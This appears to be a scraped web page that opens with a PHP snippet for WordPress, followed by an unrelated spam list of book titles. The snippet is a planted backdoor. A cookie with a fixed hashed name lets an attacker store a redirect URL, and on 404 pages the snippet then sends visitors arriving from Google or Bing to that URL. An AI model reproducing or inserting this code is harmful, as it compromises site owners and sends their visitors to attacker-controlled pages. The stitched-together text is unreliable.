function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Old School Bodybuilding: Training With the Legends Stareye Stood Still: Animals Witnessed the Birth José Martí, Cuban Apostle: A Dialogue (Echoes and Reflections) Winston Churchill (Urban-Taschenbücher) (German Edition) Essentials of Qualitative Interviewing (Qualitative Essentials) Migraine in Women The Encyclopedia of Native American Legal Tradition (Dilemmas in American Politics) Creating the Third Force: Indigenous Processes of Peacemaking (Peace and Conflict Studies) Science Education Research and Practice in Asia: Challenges and Opportunities Pinan Flow System: Heian - Pinan Yondan: karate kata application for beginner to black belt The Darkstepper Tetralogy: Waterhouse, Sundance, Blackwood, Windwalker Deutsche Juden im 20. Jahrhundert: Eine Geschichte in Porträts (German Edition) LifeCoach: Discipleship: What You Should Know and How You Can Grow Polvere: Cremazione e dispersione delle ceneri negli orientamenti della Chiesa cattolica (Italian Edition)